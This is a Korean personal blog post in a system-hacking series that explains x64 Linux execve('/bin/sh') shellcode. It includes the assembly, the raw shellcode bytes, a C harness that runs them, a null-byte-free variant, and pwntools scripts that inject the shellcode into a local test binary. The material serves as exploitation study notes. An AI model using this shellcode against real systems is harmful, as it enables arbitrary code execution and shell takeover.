Notice
Recent Posts
Recent Comments
Link
«   2025/04   »
1 2 3 4 5
6 7 8 9 10 11 12
13 14 15 16 17 18 19
20 21 22 23 24 25 26
27 28 29 30
Archives
Today
Total
관리 메뉴

수호의 메모장

shellcode 정리 본문

Security/System Hacking

shellcode 정리

수호-_- 2023. 11. 28. 00:31
execve('/bin/sh', 0, 0);

 

위 코드를 실행하면 '/bin/sh'이 실행되면서 shell을 획득할 수 있다.

이를 어셈블리어로 작성해보면 아래와 같다:

mov rax,0x68732f6e69622f
push rax
mov rdi,rsp
xor rsi,rsi
xor rdx,rdx
mov rax,59
syscall

 

https://x64.syscall.sh/

 

x64.syscall.sh

System calls for x64

x64.syscall.sh

syscall table은 위 사이트에서 확인이 가능하다.

 

 

이를 nasm을 사용하여 object 파일을 만들 수 있다:

 

objdump로 shellcode를 확인할 수 있다:

shellcode를 실제 C 코드로 실행해보자:

#include <string.h>
#include <sys/mman.h>

char shellcode[] = "\x48\xb8\x2f\x62\x69\x6e\x2f\x73\x68\x00\x50\x48\x89\xe7\x48\x31\xf6\x48\x31\xd2\xb8\x3b\x00\x00\x00\x0f\x05";

int main()
{
    char* sc = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_ANONYMOUS | MAP_PRIVATE, -1, 0);
    memcpy(sc, shellcode, sizeof(shellcode));
    ((void(*)())sc)();
    return 0;
}

shell이 위와 같이 잘 획득 되어진다.

 

직접 짠 위의 shellcode의 경우 shellcode에 '00'이 들어가게 된다.

그러나 '00'의 경우 shellcode 주입 대상 시스템에서 이를 null 문자로 인식하여 00이 들어가게 되면 그 하위 문자가 다 잘리는 경우가 발생할 수 있다.

위와 같은 경우 shellcode를 상황에 맞게 커스터마이징 해주거나, 아래와 같은 유용한 사이트가 있다:

https://www.exploit-db.com/shellcodes/46907

 

Linux/x64 - execve(/bin/sh) Shellcode (23 bytes)

Linux/x64 - execve(/bin/sh) Shellcode (23 bytes) EDB-ID: 46907 CVE: N/A Date: 2019-05-23

www.exploit-db.com

 

위의 shellcode의 경우 '/bin/sh' 대신 '/bin//sh'를 주어 mov에서 발생하는 널바이트를 방지하고 있다. (/bin/sh와 /bin//sh는 같은 경로 취급이다)

 

또한 스택에 0x3B를 push 했다가, 바로 pop rax를 함으로써 rax에 0x3B(59)가 들어가도록 하고 있다.

how?

push 0x3B는

sub rsp,0x8

mov [rsp],0x3B

와 같고

 

pop rax는

mov rax,[rsp]

add rsp,8

과 같기 때문이다

 

다음으로 rdx의 초기화를 cltd로 수행하고 있는데,

cltd는 EAX의 값을 EDX:EAX로 sign-extend 해주는 값이다.

앞선 코드들로 인해서 EAX에는 0x3B가 들어가 있기 때문에 EDX는 0이 된다.

 

위와 같은 프로그램이 존재한다고 하자.

pwntools를 사용하여 손쉽게 shellcode를 넘길 수 있다:

 

from pwn import *
context.arch = 'amd64'

p = process('./i')
shellcode = ""
shellcode = shellcraft.execve('/bin/sh')
print(shellcode)
print(asm(shellcode))

p.send(asm(shellcode))
p.interactive()

shellcraft를 사용한 방법

 

from pwn import *
context.arch = 'amd64'

p = process('./i')
shellcode = "\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05";
p.send(shellcode)
p.interactive()

shellcode를 사용한 방법

 

from pwn import *
context.arch = 'amd64'

p = process('./i')
assembly = """

mov rax,0x68732f6e69622f
push rax
mov rdi,rsp
xor rsi,rsi
xor rdx,rdx
mov rax,59
syscall

"""

shellcode = asm(assembly)
p.send(shellcode)
p.interactive()

어셈블리를 사용한 방법

'Security > System Hacking' 카테고리의 다른 글

[KUCC 정뾰세션] BOF 과제  (2) 2023.11.11